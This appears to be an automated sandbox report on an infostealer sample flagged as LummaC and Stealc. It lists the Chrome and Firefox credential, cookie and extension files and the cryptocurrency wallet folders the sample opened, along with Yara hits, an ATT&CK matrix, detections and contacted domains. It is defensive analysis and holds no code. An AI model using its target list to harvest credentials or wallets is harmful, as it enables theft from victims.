Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: MH7IABE9LKZLA9Q4.exe	Binary or memory string: WIN_81
Source: MH7IABE9LKZLA9Q4.exe	Binary or memory string: WIN_XP
Source: MH7IABE9LKZLA9Q4.exe.0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: MH7IABE9LKZLA9Q4.exe	Binary or memory string: WIN_XPe
Source: MH7IABE9LKZLA9Q4.exe	Binary or memory string: WIN_VISTA
Source: MH7IABE9LKZLA9Q4.exe	Binary or memory string: WIN_7
Source: MH7IABE9LKZLA9Q4.exe	Binary or memory string: WIN_8

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3300, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: MH7IABE9LKZLA9Q4.exe PID: 180, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 3300, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 3.2.FAMTYULW1YWOKDICAUX3Y390M.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1719915306.00000000000D1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1675675388.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1722905457.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FAMTYULW1YWOKDICAUX3Y390M.exe PID: 2260, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01051204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		6_2_01051204
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01051806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		6_2_01051806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	21 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	2 Valid Accounts	12 Software Packing	NTDS	239 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	441 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	11 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	441 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\1000350002\014cda2328.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://identity.mozilla.com/ids/ecosystem_telemetryU	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://shavar.services.mozilla.com/	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://identity.mozilla.com/apps/relay	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://watch.sling.com/	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.251.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.65	true	false	unknown
